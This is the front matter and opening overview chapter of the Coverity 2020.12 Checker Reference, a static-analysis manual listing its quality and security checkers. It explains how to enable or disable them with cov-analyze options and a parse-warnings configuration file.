

Coverity 2020.12 Checker Reference

Reference for Coverity Analysis, Coverity Platform, and Coverity Desktop.

Copyright 2020 Synopsys, Inc. All rights reserved worldwide.

Table of Contents

Acknowledgements	xi
1. Overview	1
1.1. Kinds of Issues	1
1.2. Enabling and Disabling Checkers	3
1.3. Customizing Analysis	7
2. Software Issues and Impacts by Checker	17
3. Checker Enablement and Option Defaults by Language	18
4. Coverity Analysis Checkers	19
4.1. ALLOC_FREE_MISMATCH	26
4.2. ANDROID_CAPABILITY_LEAK	27
4.3. ANDROID_DEBUG_MODE	29
4.4. ANDROID_WEBVIEW_FILEACCESS	30
4.5. ANGULAR_BYPASS_SECURITY	31
4.6. ANGULAR_ELEMENT_REFERENCE	32
4.7. ANGULAR_EXPRESSION_INJECTION	33
4.8. ANGULAR_SCE_DISABLED	36
4.9. ARRAY_VS_SINGLETON	37
4.10. ASPNET_MVC_VERSION_HEADER	39
4.11. ASSERT_SIDE_EFFECT	41
4.12. ASSIGN_NOT_RETURNING_STAR_THIS	43
4.13. ATOMICITY	45
4.14. ATTRIBUTE_NAME_CONFLICT	48
4.15. AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK	49
4.16. AWS_SSL_DISABLED	51
4.17. AWS_VALIDATION_DISABLED	51
4.18. BAD_ALLOC_ARITHMETIC	52
4.19. BAD_ALLOC_STRLEN	53
4.20. BAD_CERT_VERIFICATION	54
4.21. BAD_CHECK_OF_WAIT_COND	59
4.22. BAD_COMPARE	61
4.23. BAD_EQ	63
4.24. BAD_EQ_TYPES	65
4.25. BAD_FREE	66
4.26. BAD_LOCK_OBJECT	67
4.27. BAD_OVERRIDE	72
4.28. BAD_SHIFT	74
4.29. BAD_SIZEOF	75
4.30. BUFFER_SIZE	78
4.31. BUFFER_SIZE_WARNING	79
4.32. BUSBOY_MISCONFIGURATION	79
4.33. CALL_SUPER	80
4.34. CHAR_IO	85
4.35. CHECKED_RETURN	86
4.36. CHROOT	92
4.37. COM.ADDROF_LEAK	93
4.38. COM.BAD_FREE	94

4.39. COM.BSTR.ALLOC	95
4.40. COM.BSTR.BAD_COMPARE	97
4.41. COM.BSTR.CONV	99
4.42. COM.BSTR.NE_NON_BSTR	100
4.43. CONFIG.ANDROID_BACKUPS_ALLOWED	101
4.44. CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED	103
4.45. CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION	104
4.46. CONFIG.ANDROID_UNSAFE_MINSDKVERSION	106
4.47. CONFIG.ASP_VIEWSTATE_MAC	108
4.48. CONFIG.ASPNET_VERSION_HEADER	109
4.49. CONFIG.ATS_INSECURE	110
4.50. CONFIG.CONNECTION_STRING_PASSWORD	111
4.51. CONFIG.COOKIE_SIGNING_DISABLED	112
4.52. CONFIG.COOKIES_MISSING_HTTPONLY	112
4.53. CONFIG.CORDOVA_EXCESSIVE_LOGGING	113
4.54. CONFIG.CORDOVA_PERMISSIVE_WHITELIST	115
4.55. CONFIG.CSURF_IGNORE_METHODS	117
4.56. CONFIG.DEAD_AUTHORIZATION_RULE	118
4.57. CONFIG.DJANGO_CSRF_PROTECTION_DISABLED	119
4.58. CONFIG.DUPLICATE_SERVLET_DEFINITION	120
4.59. CONFIG.DWR_DEBUG_MODE	121
4.60. CONFIG.DYNAMIC_DATA_HTML_COMMENT	122
4.61. CONFIG.ENABLED_DEBUG_MODE	124
4.62. CONFIG.ENABLED_TRACE_MODE	126
4.63. CONFIG.HANA_XS_PREVENT_XSRF_DISABLED	126
4.64. CONFIG.HARDCODED_CREDENTIALS_AUDIT	128
4.65. CONFIG.HARDCODED_TOKEN	129
4.66. CONFIG.HTTP_VERB_TAMPERING	129
4.67. CONFIG.JAVAEE_MISSING_HTTPONLY	130
4.68. CONFIG.JAVAEE_MISSING_SERVLET_MAPPING	131
4.69. CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN	133
4.70. CONFIG.MISSING_CUSTOM_ERROR_PAGE	133
4.71. CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER	135
4.72. CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT	136
4.73. CONFIG.MYBATIS_MAPPER_SQLI	137
4.74. CONFIG.MYSQL_SSL_VERIFY_DISABLED	138
4.75. CONFIG.REQUEST_STRICTSSL_DISABLED	139
4.76. CONFIG.SEQUELIZE_ENABLED_LOGGING	140
4.77. CONFIG.SEQUELIZE_INSECURE_CONNECTION	142
4.78. CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE	142
4.79. CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL	144
4.80. CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED	145
4.81. CONFIG.SPRING_BOOT_SENSITIVE_LOGGING	145
4.82. CONFIG.SPRING_BOOT_SSL_DISABLED	146
4.83. CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED	147
4.84. CONFIG.SPRING_SECURITY_DEBUG_MODE	149
4.85. CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER	150
4.86. CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS	151

4.87. CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID	152
4.88. CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS	153
4.89. CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP	155
4.90. CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY	155
4.91. CONFIG.SPRING_SECURITY_SESSION_FIXATION	157
4.92. CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER	158
4.93. CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH	159
4.94. CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN	160
4.95. CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION	161
4.96. CONFIG.STRUTS2_ENABLED_DEV_MODE	162
4.97. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED	163
4.98. CONFIG.UNSAFE_SESSION_TIMEOUT	164
4.99. CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS	168
4.100. CONFIG.WEAK_SECURITY_CONSTRAINT	169
4.101. CONSTANT_EXPRESSION_RESULT	170
4.102. COOKIE_INJECTION	179
4.103. COOKIE_SERIALIZER_CONFIG	182
4.104. COPY_PASTE_ERROR	182
4.105. COPY_WITHOUT_ASSIGN	186
4.106. CORS_MISCONFIGURATION	187
4.107. CORS_MISCONFIGURATION_AUDIT	190
4.108. CSRF	192
4.109. CSRF_MISCONFIGURATION_HAPI_CRUMB	204
4.110. CSS_INJECTION	205
4.111. CTOR_DTOR_LEAK	208
4.112. CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH	209
4.113. CUDA.CUDEVICE_HANDLES	210
4.114. CUDA.DEVICE_DEPENDENT	210
4.115. CUDA.DEVICE_DEPENDENT_CALLBACKS	212
4.116. CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION	213
4.117. CUDA.ERROR_INTERFACE	215
4.118. CUDA.ERROR_KERNEL_LAUNCH	216
4.119. CUDA.FORK	216
4.120. CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP	218
4.121. CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK	221
4.122. CUDA.INVALID_MEMORY_ACCESS	222
4.123. CUDA.SHARE_FUNCTION	223
4.124. CUDA.SHARE_OBJECT_STREAM_ASSOCIATED	224
4.125. CUDA.SPECIFIERS_INCONSISTENCY	226
4.126. CUDA.SYNCHRONIZE_TERMINATION	227
4.127. CUSTOM_KEYBOARD_DATA_LEAK	228
4.128. DC.CUSTOM_CHECKER	229
4.129. DC.DANGEROUS	232
4.130. DC.DEADLOCK	232
4.131. DC.PREDICTABLE_KEY_PASSWORD	233
4.132. DC.STREAM_BUFFER	233
4.133. DC.STRING_BUFFER	234
4.134. DC.WEAK_CRYPTO	234

4.135. DEADCODE	235
4.136. DEADLOCK (Java Runtime)	242
4.137. DELETE_ARRAY	245
4.138. DELETE_VOID	247
4.139. DENY_LIST_FOR_AUTHN	248
4.140. DETEKT.*	249
4.141. DF.CUSTOM_CHECKER	249
4.142. DISABLED_ENCRYPTION	256
4.143. DISTRUSTED_DATA_DESERIALIZATION	257
4.144. DIVIDE_BY_ZERO	259
4.145. DNS_PREFETCHING	262
4.146. DOM_XSS	263
4.147. DYNAMIC_OBJECT_ATTRIBUTES	266
4.148. DYNAMIC_TYPE_IN_CTOR_DTOR	266
4.149. EL_INJECTION	268
4.150. ENUM_AS_BOOLEAN	269
4.151. EVALUATION_ORDER	270
4.152. EXPLICIT_THIS_EXPECTED	272
4.153. EXPOSED_DIRECTORY_LISTING_HAPI_INERT	274
4.154. EXPOSED_PREFERENCES	275
4.155. EXPRESS_SESSION_UNSAFE_MEMORYSTORE	277
4.156. EXPRESS_WINSTON_SENSITIVE_LOGGING	278
4.157. EXPRESS_X_POWERED_BY_ENABLED	279
4.158. FILE_UPLOAD_MISCONFIGURATION	280
4.159. FB.* (SpotBugs)	280
4.160. FLOATING_POINT_EQUALITY	281
4.161. FORMAT_STRING_INJECTION	282
4.162. FORWARD_NULL	286
4.163. GUARDED_BY_VIOLATION	296
4.164. HAPI_SESSION_MONGO_MISSING_TLS	300
4.165. HARDCODED_CREDENTIALS	301
4.166. HEADER_INJECTION	308
4.167. HFA	317
4.168. HIBERNATE_BAD_HASHCODE	318
4.169. HOST_HEADER_VALIDATION_DISABLED	320
4.170. HPKP_MISCONFIGURATION	320
4.171. IDENTICAL_BRANCHES	321
4.172. IDENTIFIER_TYPO	325
4.173. IMPLICIT_INTENT	327
4.174. INCOMPATIBLE_CAST	329
4.175. INFINITE_LOOP	329
4.176. INSECURE_ACL	334
4.177. INSECURE_COMMUNICATION	334
4.178. INSECURE_COOKIE	339
4.179. INSECURE_DIRECT_OBJECT_REFERENCE	343
4.180. INSECURE_HTTP_FIREWALL	344
4.181. INSECURE_MULTIPER_PEER_CONNECTION	345
4.182. INSECURE_RANDOM	346

4.183. INSECURE_REFERRER_POLICY	350
4.184. INSECURE_REMEMBER_ME_COOKIE	351
4.185. INSECURE_SALT	352
4.186. INSUFFICIENT_LOGGING	353
4.187. INSUFFICIENT_PRESIGNED_URL_TIMEOUT	355
4.188. INTEGER_OVERFLOW	356
4.189. INVALIDATE_ITERATOR	359
4.190. JAVA_CODE_INJECTION	365
4.191. JCR_INJECTION	367
4.192. JSHINT.* (JSHint) Analysis	368
4.193. JSONWEBTOKEN_IGNORED_EXPIRATION_TIME	369
4.194. JSONWEBTOKEN_UNTRUSTED_DECODE	372
4.195. JSP_DYNAMIC_INCLUDE	374
4.196. JSP_SQL_INJECTION	375
4.197. LDAP_INJECTION	377
4.198. LDAP_NOT_CONSTANT	379
4.199. LOCALSTORAGE_MANIPULATION	381
4.200. LOCALSTORAGE_WRITE	384
4.201. LOCK	385
4.202. LOCK_EVASION	389
4.203. LOCK_INVERSION	398
4.204. LOG_INJECTION	401
4.205. MISMATCHED_ITERATOR	402
4.206. MISRA_CAST	404
4.207. MISSING_ASSIGN	408
4.208. MISSING_AUTHZ	408
4.209. MISSING_BREAK	417
4.210. MISSING_COMMA	423
4.211. MISSING_COPY	424
4.212. MISSING_COPY_OR_ASSIGN	424
4.213. MISSING_HEADER_VALIDATION	425
4.214. MISSING_IFRAME_SANDBOX	426
4.215. MISSING_LOCK	428
4.216. MISSING_MOVE_ASSIGNMENT	430
4.217. MISSING_PASSWORD_VALIDATOR	432
4.218. MISSING_PERMISSION_FOR_BROADCAST	432
4.219. MISSING_PERMISSION_ON_EXPORTED_COMPONENT	437
4.220. MISSING_RESTORE	439
4.221. MISSING_RETURN	443
4.222. MISSING_THROW	444
4.223. MIXED_ENUMS	445
4.224. MOBILE_ID_MISUSE	448
4.225. MULTER_MISCONFIGURATION	451
4.226. NEGATIVE_RETURNS	452
4.227. NESTING_INDENT_MISMATCH	454
4.228. NO_EFFECT	459
4.229. NON_STATIC_GUARDING_STATIC	465
4.230. NOSQL_QUERY_INJECTION	467

4.231. NULL_RETURNS	472
4.232. ODR_VIOLATION	482
4.233. OGNL_INJECTION	483
4.234. OPEN_ARGS	484
4.235. OPEN_REDIRECT	485
4.236. OPENAPI.*	490
4.237. ORDER_REVERSAL	491
4.238. ORM_ABANDONED_TRANSIENT	493
4.239. ORM_LOST_UPDATE	493
4.240. ORM_LOAD_NULL_CHECK	496
4.241. ORM_UNNECESSARY_GET	497
4.242. OS_CMD_INJECTION	498
4.243. OVERFLOW_BEFORE_WIDEN	508
4.244. OVERLAPPING_COPY	513
4.245. OVERRUN	514
4.246. PARSE_ERROR	520
4.247. PW.*, RW.*, SW.*: Compilation Warnings	520
4.248. PASS_BY_VALUE	525
4.249. PATH_MANIPULATION	526
4.250. PREDICTABLE_RANDOM_SEED	537
4.251. PRINTF_ARGS	539
4.252. PROPERTY_MIXUP	540
4.253. PW.*	543
4.254. RACE_CONDITION (Java Runtime)	544
4.255. RAILS_DEFAULT_ROUTES	546
4.256. RAILS_DEVISE_CONFIG	547
4.257. RAILS_MISSING_FILTER_ACTION	548
4.258. REACT_DANGEROUS_INNERHTML	549
4.259. READLINK	549
4.260. RW.*	551
4.261. REGEX_CONFUSION	551
4.262. REGEX_INJECTION	552
4.263. REGEX_MISSING_ANCHOR	556
4.264. RESOURCE_LEAK	557
4.265. RESOURCE_LEAK (Java Runtime)	571
4.266. RETURN_LOCAL	572
4.267. REVERSE_NEGATIVE	574
4.268. REVERSE_INULL	575
4.269. REVERSE_TABNABBING	580
4.270. RISKY_CRYPTO	581
4.271. RUBY_VULNERABLE_LIBRARY	587
4.272. SCRIPT_CODE_INJECTION	588
4.273. SECURE_CODING	594
4.274. SECURE_TEMP	596
4.275. SELF_ASSIGN	597
4.276. SW.*	598
4.277. SENSITIVE_DATA_LEAK	598
4.278. SERVLET_ATOMICITY	608

4.279. SESSION_FIXATION	609
4.280. SESSION_MANIPULATION	611
4.281. SESSIONSTORAGE_MANIPULATION	612
4.282. SIGN_EXTENSION	615
4.283. SINGLETON_RACE	617
4.284. SIZECHECK	618
4.285. SIZEOF_MISMATCH	620
4.286. SLEEP	623
4.287. SQL_NOT_CONSTANT	626
4.288. SQLI	627
4.289. STACK_USE	638
4.290. STRAY_SEMICOLON	643
4.291. STREAM_FORMAT_STATE	646
4.292. STRICT_TRANSPORT_SECURITY	648
4.293. STRING_NULL	649
4.294. STRING_OVERFLOW	652
4.295. STRING_SIZE	654
4.296. SWAPPED_ARGUMENTS	657
4.297. SYMBIAN.CLEANUP_STACK	659
4.298. SYMBIAN.NAMING	662
4.299. SYMFONY_EL_INJECTION	664
4.300. TAINT_ASSERT	666
4.301. TAINTED_ENVIRONMENT_WITH_EXECUTION	669
4.302. TAINTED_SCALAR	673
4.303. TAINTED_STRING	681
4.304. TEMPLATE_INJECTION	687
4.305. TEMPORARY_CREDENTIALS_DURATION	691
4.306. TEXT.CUSTOM_CHECKER	692
4.307. TOCTOU	694
4.308. TRUST_BOUNDARY_VIOLATION	695
4.309. UNCAUGHT_EXCEPT	697
4.310. UNCHECKED_ORIGIN	701
4.311. UNENCRYPTED_SENSITIVE_DATA	702
4.312. UNESCAPED_HTML	712
4.313. UNEXPECTED_CONTROL_FLOW	713
4.314. UNINIT	715
4.315. UNINIT_CTOR	719
4.316. UNINTENDED_GLOBAL	722
4.317. UNINTENDED_INTEGER_DIVISION	723
4.318. UNKNOWN_LANGUAGE_INJECTION	724
4.319. UNLESS_CASE_SENSITIVE_ROUTE_MATCHING	726
4.320. UNLIMITED_CONCURRENT_SESSIONS	727
4.321. UNLOGGED_SECURITY_EXCEPTION	728
4.322. UNREACHABLE	730
4.323. UNRESTRICTED_ACCESS_TO_FILE	737
4.324. UNRESTRICTED_DISPATCH	738
4.325. UNRESTRICTED_MESSAGE_TARGET	740
4.326. UNSAFE_BASIC_AUTH	741

4.327. UNSAFE_BUFFER_METHOD	742
4.328. UNSAFE_DESERIALIZATION	743
4.329. UNSAFE_JNI	749
4.330. UNSAFE_NAMED_QUERY	751
4.331. UNSAFE_REFLECTION	752
4.332. UNSAFE_SESSION_SETTING	756
4.333. UNSAFE_XML_PARSE_CONFIG	757
4.334. UNUSED_VALUE	760
4.335. URL_MANIPULATION	764
4.336. USE_AFTER_FREE	771
4.337. USELESS_CALL	776
4.338. USER_POINTER	781
4.339. VARARGS	783
4.340. VCALL_IN_CTOR_DTOR	784
4.341. VERBOSE_ERROR_REPORTING	786
4.342. VIRTUAL_DTOR	786
4.343. VOID_FUNCTION_WITHOUT_SIDE_EFFECT	789
4.344. VOLATILE_ATOMICITY	790
4.345. VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE	793
4.346. WEAK_BIOMETRIC_AUTH	793
4.347. WEAK_GUARD	794
4.348. WEAK_PASSWORD_HASH	798
4.349. WEAK_URL_SANITIZATION	806
4.350. WEAK_XML_SCHEMA	807
4.351. WRAPPER_ESCAPE	808
4.352. WRITE_CONST_FIELD	811
4.353. WRONG_METHOD	812
4.354. XML_EXTERNAL_ENTITY	813
4.355. XML_INJECTION	819
4.356. XPATH_INJECTION	821
4.357. XSS	829
4.358. Y2K38_SAFETY	836
5. Models, Annotations, and Primitives	838
5.1. Models and Annotations in C/C++	839
5.2. Models and Annotations in C# or Visual Basic	874
5.3. Models in Go	892
5.4. Models and Annotations in Java	899
5.5. Models in Swift	907
5.6. Model Search Order	907
6. Security Reference	909
6.1. Coverity Web application security	909
6.2. C/C++ Application Security	926
6.3. SQLi Contexts	929
6.4. XSS Contexts	932
6.5. OS Injection Command Contexts	946
6.6. Web application security examples	950
6.7. Security Commands	980
6.8. Tainted Data Overview	981

6.9. Sensitive Data Overview	984
7. Coverity Fortran Syntax Analysis Checker Reference	986
A. AUTOSAR C++14 Standard	1025
A.1. Overview	1025
B. DISA Application Security and Development STIG Standard	1056
B.1. Overview	1056
C. Payment Card Industry Data Security Standard	1086
C.1. Overview	1086
D. ISO TS 17961 2016 Standard	1087
D.1. Overview	1087
E. MISRA Rules and Directives	1090
E.1. Overview	1090
E.2. MISRA C 2004	1090
E.3. MISRA C++ 2008	1110
E.4. MISRA C 2012	1141
F. SEI CERT Rules	1164
F.1. Overview	1164
F.2. SEI CERT C Rules	1164
F.3. SEI CERT C++ Rules	1173
F.4. SEI CERT Java Coding Standard	1179
G. OWASP Web Top 10 Coverage	1182
G.1. OWASP Web Top 10 Coverage	1182
H. OWASP Top 10 Mobile Coverage	1183
H.1. OWASP Top 10 Mobile Coverage	1183
I. Checker Change History	1184
I.1. Coverity Checker Change History	1184
J. Coverity Glossary	1200
K. Coverity Legal Notice	1212
K.1. Legal Notice	1212

Acknowledgements

- This Publication incorporates portions of the rule identifiers, the rule descriptive names (clauses) which follow the identifier and rule level (from the risk assessment) for each rule in the CERT C, CERT CCP, CERT C Recommendations and CERT JAVA standards available at <https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards> (c) 2020 Carnegie Mellon University, with special permission from its Software Engineering Institute.
- ANY MATERIAL OF CARNEGIE MELLON UNIVERSITY AND/OR ITS SOFTWARE ENGINEERING INSTITUTE CONTAINED HEREIN IS FURNISHED ON AN "AS-IS" BASIS. CARNEGIE MELLON UNIVERSITY MAKES NO WARRANTIES OF ANY KIND, EITHER EXPRESSED OR IMPLIED, AS TO ANY MATTER INCLUDING, BUT NOT LIMITED TO, WARRANTY OF FITNESS FOR PURPOSE OR MERCHANTABILITY, EXCLUSIVITY, OR RESULTS OBTAINED FROM USE OF THE MATERIAL. CARNEGIE MELLON UNIVERSITY DOES NOT MAKE ANY WARRANTY OF ANY KIND WITH RESPECT TO FREEDOM FROM PATENT, TRADEMARK, OR COPYRIGHT INFRINGEMENT.
- This publication has not been reviewed nor is it endorsed by Carnegie Mellon University or its Software Engineering Institute.
- Carnegie Mellon and CERT are registered trademarks of Carnegie Mellon University.

Chapter 1. Overview

Table of Contents

1.1. Kinds of Issues	1
1.2. Enabling and Disabling Checkers	3
1.3. Customizing Analysis	7

The Coverity Analysis installation provides checkers that perform static analysis of source code, analysis of developer tests with Test Advisor, and runtime analysis of Java code with Dynamic Analysis. This guide describes each checker and explains how and when to use modeling to improve analysis results. It also contains detailed information about common Web application security issues and issue remediation.

For information about running static analysis, see the *Coverity Analysis User and Administration Guide* and the *Coverity Wizard User Guide*. To run analysis of developer tests, see the *Test Advisor User and Administrator Guide*. For runtime analysis, see the *Dynamic Analysis Administration Tutorial*.

1.1. Kinds of Issues

Checkers test for issues in two broad categories:

- *Quality issues* identify code that will fail in some way, when it is executed.
- *Security issues* identify code that is vulnerable to attack.

These are not hard and fast categories. It is easy to argue that more secure code is better-quality code, and that code of good quality is also more secure. But the categories can be useful when you think about what you want to search for when you analyze your own code base. The following sections provide overviews of what is involved in these different kinds of analysis.

1.1.1. Quality Issues

Quality analysis of source code searches for areas in the code base that can cause your application to misbehave. Coverity checkers include general quality checkers and specialized types of checkers such as rules, concurrency, compilation warning, Microsoft COM (for example, COM.ADDROF_LEAK), and Dynamic Analysis checkers.

1.1.1.1. Compilation Warnings

Compilation warning checkers support C/C++ and Swift source code. They expose issues that are detected by the Coverity compiler. The issues include parse, semantic, and recovery warnings. For details, see Section 4.247, “PW.*, RW.*, SW.*: Compilation Warnings”.

1.1.1.2. Concurrency Issues

Concurrency issues are difficult to detect, diagnose, and fix. They can cause hanging, performance degradation, and data integrity issues. They are frequently the result of subtle, rare, and hard-to-reproduce timing issues involving multiple threads of control that are manipulating shared memory locations. As a consequence, it can be difficult to create test cases to uncover concurrency issues.

Coverity Analysis provides checkers that find a variety of concurrency issues. Coverity Analysis concurrency checkers find issues involving:

- Double, missing, inconsistent, and incorrectly ordered locks.
- Locks held for a long time or forever (deadlocks).
- Race conditions caused by improper use of shared fields.

1.1.1.3. Dynamic Analysis

Dynamic Analysis checkers support runtime analysis of Java code. These checkers include Section 4.136, “DEADLOCK (Java Runtime)”, Section 4.254, “RACE_CONDITION (Java Runtime)”, and Section 4.265, “RESOURCE_LEAK (Java Runtime)”.

To use Dynamic Analysis checkers, see *Dynamic Analysis Administration Tutorial* [🔗](#).

1.1.1.4. Rules and Standards

Most Coverity checkers are designed to find defects in your code. Rule checkers are somewhat different in that they are intended to help organizations require or prohibit certain programming practices in a uniform way. While these practices are typically correlated with the occurrence of issues in the code base, the correlation is weaker than for other quality checkers.

For organizations that choose to use these checkers, a defect reveals non-conformance with a given rule, so no defect is a false positive. However, for other organizations, these checkers might appear to have very high false positive rates, because, typically, most of the reported rule violations do not imply the presence of bugs. Due to this difference in behavior compared to most Coverity checkers, rule checkers are not enabled by default.

1.1.2. Security Issues

Security analysis searches for areas in the code base that might allow an attacker to exploit a vulnerability in your application. Coverity security checkers find the following types of security issues:

Web application security

Coverity Analysis helps your organization find and fix security issues that can lead to commonly exploited vulnerabilities in Web applications, including SQL injection, cross-site scripting, OS (operating system) command injection, and information disclosure that can arise from risky configurations. To help lower the risk of software failures, security issues are managed and prioritized through the same Coverity Connect workflow as quality issues and test violations.

C/C++ application security

Coverity Analysis helps your organization find and fix critical security issues in C/C++ code such as buffer overflow, integer overflow, and format string errors. Your organization can manage and prioritize C/C++ quality and security defects through the same Coverity Connect workflow as test violations and other defects and vulnerabilities.

Mobile application security

Coverity Analysis helps your organization find and fix security issues in Java Android and Swift iOS applications.

Chapter 6. Security Reference describes some common sources of issues that Coverity Analysis checkers can handle.

1.2. Enabling and Disabling Checkers

Coverity Analysis runs checkers that are enabled and covered by your license. Many Coverity checkers are enabled by default, so they will run unless you explicitly disable them. Each checker detects specific types of issues in your source code. For example, the `RESOURCE_LEAK` checker looks for cases in which your program does not release system resources as soon as possible.

Coverity Analysis allows you to enable or disable any checkers. Because default enablement can vary by programming language, a checker that supports multiple languages might be enabled by default for one language but disabled by default for another. You can explicitly enable a checker for all languages to which it applies, or you can disable the checker entirely. Note that specifying exactly which checkers to run for which language is only possible with separate analysis by language.

The decision to disable or enable a checker or checker group depends on the types of issues that your organization wants Coverity Analysis to detect. It might also depend on Coverity Analysis performance requirements, because the greater the variety of checkers that you run, the longer it can take for Coverity Analysis to complete the analysis.



Note

In addition to enabling and disabling checkers, you can use checker options to tune the analysis. For example, to improve the value of `NULL_RETURNS` defects to your organization, you might raise or lower the threshold used by that checker. To specify checker option values, you use the option `--checker-option` to **cov-analyze**. For details, see the *Coverity Command Reference*. For more information about tainted data checkers, see Section 6.8, “Tainted Data Overview”.

1.2.1. Enabling and Disabling Checkers with cov-analyze

You can use **cov-analyze** command line options to change the set of checkers to run. If you run a multi-language analysis with **cov-analyze**, the checkers that are enabled for the analysis will run on all languages to which they apply. Default enablement can vary by programming language, so a checker that supports multiple languages might be enabled by default for one language but disabled by default for another.

To change the set of checkers that are enabled:

1. Use the **cov-analyze --list-checkers** option to view a list of the checkers that the command can run.

The option returns a list of checkers that includes guidance on enabling those that are not enabled by default.

2. Enable one or more checkers.

- To enable specific checkers, use the `--enable CHECKER` option or the `-en CHECKER` option.

For example:

```
> cov-analyze --dir directory --enable SWAPPED_ARGUMENTS
```

The example runs the SWAPPED_ARGUMENTS checker along with the default checkers.

For details, see [--enable](#) in the *Coverity Command Reference*.

- To enable most of the checkers that are not already enabled by default, use the `--all` option.

For details, see [--all](#) in the *Coverity Command Reference*.

- To enable CERT-C checkers, use the `--coding-standard-config` option to the `cov-analyze` command.
- To enable C/C++ concurrency checkers that are disabled by default, use the `--concurrency` option.

For example:

```
> cov-analyze --dir directory --concurrency
```

For details, see [--concurrency](#) in the *Coverity Command Reference*.

- To enable C/C++ security checkers, use the `--security` option.

For example:

```
> cov-analyze --dir directory --security
```

For details about the scope of this option, see [--security](#) in the *Coverity Command Reference*.

- To enable all Web application security checkers, use the `--webapp-security` option.
- To enable the JSHint analysis of JavaScript code, use the `--enable-jshint` option.

For details about this option, see [--enable-jshint](#) in the *Coverity Command Reference*.

- To enable compilation warning checkers (parse warning, recovery warning, and semantic warning checkers), use the `--enable-parse-warnings` option.

For example:

```
> cov-analyze --dir directory --enable-parse-warnings
```

If you want to change the set of compilation warnings that are enabled, see Section 1.2.2, “Enabling Compilation Warning Checkers (PW.*, RW.*, SW.*)”.

3. Disable one or more checkers.

- To disable a single checker, use the `--disable` option.

For example:

```
> cov-analyze --dir directory
  --disable BAD_OVERRIDE
```

For details, see `--disable` [🔗](#) in the *Coverity Command Reference*.

- To disable the default checkers, use the `--disable-default` option.

The following example disables all checkers that are enabled by default:

```
> cov-analyze --dir directory --disable-default
```

The following example enables the SpotBugs analysis while disabling all other default checkers, use the `--enable-fb` option with `--disable-default`.

For example:

```
> cov-analyze --dir directory --enable-fb --disable-default
```

To further refine SpotBugs analysis, you can also use the `--fb-include` and `--fb-exclude` options to **cov-analyze**.

The following example enables the Detekt analysis while disabling all other default checkers: use the `--enable-detekt` option with `--disable-default`.

```
cov-analyze --dir directory --enable-detekt --disable-default
```

Use the option `--disable-detekt` to disable Detekt analysis.

- To disable parse warnings (if you previously enabled them but no longer need to see them), use the `--disable-parse-warnings` option.

For details, see of this option in the `--disable-parse-warnings` [↗](#) in the *Coverity Command Reference*.

- To disable all Web application security checkers, use the `--disable-webapp-security` [↗](#) option.

1.2.2. Enabling Compilation Warning Checkers (PW.*, RW.*, SW.*)

When Coverity Analysis parses C/C++ or Swift code, it can detect various defects. The warnings it generates can number in the hundreds. Often these warnings provide unnecessary information, and identify issues that are reported with greater accuracy by other Coverity Analysis checkers. These warnings can also be false positives. Because of this, for C/C++ source, the compilation warning checkers are disabled by default. For Swift source, on the other hand, the compilation warning checkers are enabled by default.

You can specify the warnings that are exposed as defects through a configuration file. To create this file, you can refer to the sample parse warning configuration file, which shows all of the default settings. The sample file is located in `<install_dir_sa>/config/parse_warnings.conf.sample`. Checkers are enabled or disabled by a directive in this file. A directive uses the following syntax:

```
chk " checker_name ": on | off | macros | no_macros;
```

Here, `<checker_name>` is the name of the warning as shown in Coverity Connect, for example, `PW.ASSIGN_WHERE_COMPARE_MEANT`.

Individual parse warnings that start with `RW` or `SW`, unless they are explicitly disabled, will be reported when parse warnings are enabled; parse warnings that start with `PW` will only be reported if they are explicitly enabled when parse warnings are enabled. To disable all parse warnings, you can add the `disable_all;` directive. To disable individual warnings that are listed in the file, you can comment them out.

C/C++ : Parse warnings are disabled by default; they are enabled by:

- `--all` [↗](#)
- `--enable-parse-warnings` [↗](#)
- `--aggressiveness-level` [↗](#)

Swift : Parse warnings are enabled by default; they can be disabled by:

- `--disable-default` [↗](#)
- `--disable-parse-warnings` [↗](#)

To change the C/C++/Swift parse warnings that are enabled:

1. Copy the `parse_warnings.conf.sample` file and save it with a new name.

2. Edit this copy of the configuration file.
 - Remove comment characters before the default directives that you want to use.
 - Add directives for checkers that you want enable or disable.
3. Run the **cov-analyze** command with both the `--enable-parse-warnings` and the `--parse-warnings-config <config_file>` options.

Here, `<config_file>` is the name of your own configuration file, including the full or relative path. For example, to enable the parse warning checkers using a configuration file named `my_parse_warnings.conf`, use the following command:

```
cov-analyze --enable-parse-warnings --parse-warnings-config my_parse_warnings.conf
```

1.3. Customizing Analysis

Coverity tools aim to provide a successful out-of-the-box experience across a wide range of use cases. The following features and processes contribute to this success:

- We provide a large number of built-in checkers that test for a broad range of issues.
- We support many widely used frameworks whose components can include language support, libraries, build technologies, and more.
- We minimize the rate at which checkers detect and report false positives.
- We constantly evaluate and tune the default behavior of Coverity Analysis, testing it against real code.

Some software projects do require additional tuning, or *customization*, to meet a customer's needs. Reasons to customize the behavior of Coverity Analysis include atypical applications or deployment environments, and project-specific concerns.

We provide a rich set of ways to customize Coverity. There are simple, global ways to adjust the results of an analysis; more specific ways to tune analysis results; and for advanced users, ways to extend the capabilities of the analysis itself.

